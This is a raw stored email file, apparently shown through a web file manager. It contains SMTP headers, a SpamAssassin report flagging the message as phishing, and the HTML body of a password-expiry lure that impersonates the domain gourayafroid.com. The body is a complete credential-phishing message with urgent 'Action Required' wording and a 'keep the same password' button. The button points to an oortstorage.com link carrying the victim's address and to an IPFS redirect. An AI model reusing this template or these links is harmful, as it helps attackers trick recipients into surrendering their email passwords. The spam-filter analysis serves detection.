OwlCyberSecurity - MANAGER
Edit File: 1739913358.M793498P3080717.premium128.web-hosting.com,S=9698,W=9857:2,
Return-Path: <overseas@kikusui.co.jp> Delivered-To: contact+spam@gourayafroid.com Received: from premium128.web-hosting.com by premium128.web-hosting.com with LMTP id CFLmLY74tGcNAi8AAvhI2g (envelope-from <overseas@kikusui.co.jp>) for <contact+spam@gourayafroid.com>; Tue, 18 Feb 2025 16:15:58 -0500 Return-path: <overseas@kikusui.co.jp> Envelope-to: contact@gourayafroid.com Delivery-date: Tue, 18 Feb 2025 16:15:58 -0500 Received: from [36.133.87.98] (port=56129) by premium128.web-hosting.com with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384 (Exim 4.96.2) (envelope-from <overseas@kikusui.co.jp>) id 1tkUwb-00CvYq-2u for contact@gourayafroid.com; Tue, 18 Feb 2025 16:15:58 -0500 From: gourayafroid.com<overseas@kikusui.co.jp> To: contact@gourayafroid.com Date: 19 Feb 2025 05:14:44 +0800 Message-ID: <20250219051444.C07768CB9301156D@kikusui.co.jp> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable X-Spam-Status: Yes, score=12.2 X-Spam-Score: 122 X-Spam-Bar: ++++++++++++ X-Spam-Report: Spam detection software, running on the system "premium128.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: gourayafroid.com Your contact@gourayafroid.com password is about to expire (Action Required) You must take immediate steps to maintain and avoid restricting access to your gourayafroid.com account keep the same password Content analysis details: (12.2 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URIs: bafybeidoz4j7wj6a45k2ewrocn75mz2k2gddgstu7yq3tagd776q5abgt4.ipfs.dweb.link] 2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus DBL blocklist [URIs: oortstorage.com] 4.7 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL [36.133.87.98 listed in zen.spamhaus.org] 0.1 URIBL_SBL_A Contains URL's A record listed in the Spamhaus SBL blocklist [URIs: bafybeidoz4j7wj6a45k2ewrocn75mz2k2gddgstu7yq3tagd776q5abgt4.ipfs.dweb.link] 0.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist [URIs: oortstorage.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [36.133.87.98 listed in sa-trusted.bondedsender.org] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [36.133.87.98 listed in bl.score.senderscore.com] 1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail) 0.0 T_MXG_EMAIL_FRAG URI with email in fragment 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to background 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS 0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message and the domain has no DMARC policy 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 1.0 URI_DWEBIPFS References Interplanetary File System PtP content via dweb.link, likely phishing 0.0 URI_IPFS References Interplanetary File System PtP content, probable phishing 0.0 TO_NO_BRKTS_FROM_MSSP Multiple header formatting problems 0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML only 0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text 0.0 FROM_MISSP_EH_MATCH From misspaced, matches envelope X-Spam-Flag: YES Subject: ***SPAM*** Password Notifications - Take Action Now <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.= w3.org/TR/html4/loose.dtd"> <html><head> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge"> <meta name=3D"GENERATOR" content=3D"MSHTML 11.00.10570.1001"></head> <body style=3D"margin: 0.5em;"> <p align=3D"center" style=3D"color: rgb(36, 36, 36); text-transform: none; = text-indent: 0px; letter-spacing: normal; font-family: Roboto, sans-serif; = font-size: 15px; font-style: normal; font-weight: 400; margin-top: 0px; mar= gin-bottom: 1rem; word-spacing: 0px; white-space: normal; box-sizing: borde= r-box; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-va= riant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-wid= th: 0px; text-decoration-thickness: initial;=20 text-decoration-style: initial; text-decoration-color: initial;"><span styl= e=3D"font-family: Arial; box-sizing: border-box;"><span style=3D"box-sizing= : border-box;"><b><span style=3D"font-size: 23pt; box-sizing: border-box;">= <span style=3D"color: rgb(238, 97, 17); box-sizing: border-box;"><span styl= e=3D"font-size: 25pt; box-sizing: border-box;">gourayafroid.com</span><br s= tyle=3D"box-sizing: border-box;"></span></span><br style=3D"box-sizing: bor= der-box;"></b></span></span></p> <p align=3D"center" style=3D"color: rgb(44, 54, 58); text-transform: none; = text-indent: 0px; letter-spacing: normal; font-family: Roboto, sans-serif; = font-size: 14px; font-style: normal; font-weight: 400; margin-top: 0px; mar= gin-bottom: 1rem; word-spacing: 0px; white-space: normal; box-sizing: borde= r-box; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-va= riant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-wid= th: 0px; text-decoration-thickness: initial;=20 text-decoration-style: initial; text-decoration-color: initial;"><b><span s= tyle=3D"color: rgb(34, 34, 34); font-family: Arial, Helvetica, sans-serif; = font-size: small;">Your contact@gourayafroid.com password is about to expir= e (Action Required) You must take immediate steps to maintain and avoid res= tricting access to your gourayafroid.com account</span> <br></b></p> <p style=3D"padding: 20px 0px; text-align: center; color: rgb(44, 54, 58); = text-transform: none; text-indent: 0px; letter-spacing: normal; font-family= : Roboto, sans-serif; font-size: 14px; font-style: normal; font-weight: 400= ; margin-top: 0px; margin-bottom: 0px; word-spacing: 0px; white-space: norm= al; box-sizing: border-box; orphans: 2; widows: 2; background-color: rgb(25= 5, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -w= ebkit-text-stroke-width: 0px;=20 text-decoration-thickness: initial; text-decoration-style: initial; text-de= coration-color: initial;"><b> <a title=3D"Read Fax" style=3D"background: rgb(227, 96, 9); padding: 11px 2= 4px; color: rgb(255, 255, 255); box-sizing: border-box; text-decoration-lin= e: none;" href=3D"https://apt.standard.us-east-1.oortstorage.com/UK?signatu= re=3Dce16195c6923d7a0bd4101286bc97cd8cf57f30690684b51de00702d9d539e3e7a772d= 6d79bbced2fd0be64d22ce254c55520c7f698fcb9f51d5d99358145e9c8b4d133764690873b= 75ab3e2f8e90acff775a20eba5678f47a79ad6dbe2a05cf9d338369ead97b4ec5c3ebd9f1f8= 3786&provider=3D#contact@gourayafroid.com" target=3D"_blank"=20 rel=3D"noreferrer" data-saferedirecturl=3D"https://www.google.com/url?q=3Dh= ttps://bafybeidoz4j7wj6a45k2ewrocn75mz2k2gddgstu7yq3tagd776q5abgt4.ipfs.dwe= b.link/%23bonn@cyber.net.pk&source=3Dgmail&ust=3D1739956741525000&a= mp;usg=3DAOvVaw0W6P9C4qMvwCON5L_l0zEt">keep the same password</a> &nbs= p; <span style=3D"color: rgb(227, 96, 9); box-sizing: border-box;">&nb= sp; </span></b></p> <p style=3D"padding: 20px 0px; text-align: center; color: rgb(44, 54, 58); = text-transform: none; text-indent: 0px; letter-spacing: normal; font-family= : Roboto, sans-serif; font-size: 14px; font-style: normal; font-weight: 400= ; margin-top: 0px; margin-bottom: 0px; word-spacing: 0px; white-space: norm= al; box-sizing: border-box; orphans: 2; widows: 2; background-color: rgb(25= 5, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -w= ebkit-text-stroke-width: 0px;=20 text-decoration-thickness: initial; text-decoration-style: initial; text-de= coration-color: initial;"><b><span style=3D"color: rgb(34, 34, 34); font-fa= mily: Arial, Helvetica, sans-serif; font-size: small; box-sizing: border-bo= x;">Issues discovered in the claims fulfillment system will no longer be in= vestigated or fixed.© gourayafroid.com</span><span style=3D"color: rgb= (34, 34, 34); font-family: Arial, Helvetica, sans-serif; font-size: small; = box-sizing: border-box;"> </span> <span style=3D"color: rgb(34, 34, 34); font-family: Arial, Helvetica, sans-= serif; font-size: small; box-sizing: border-box;">2025</span></b></p></body= ></html>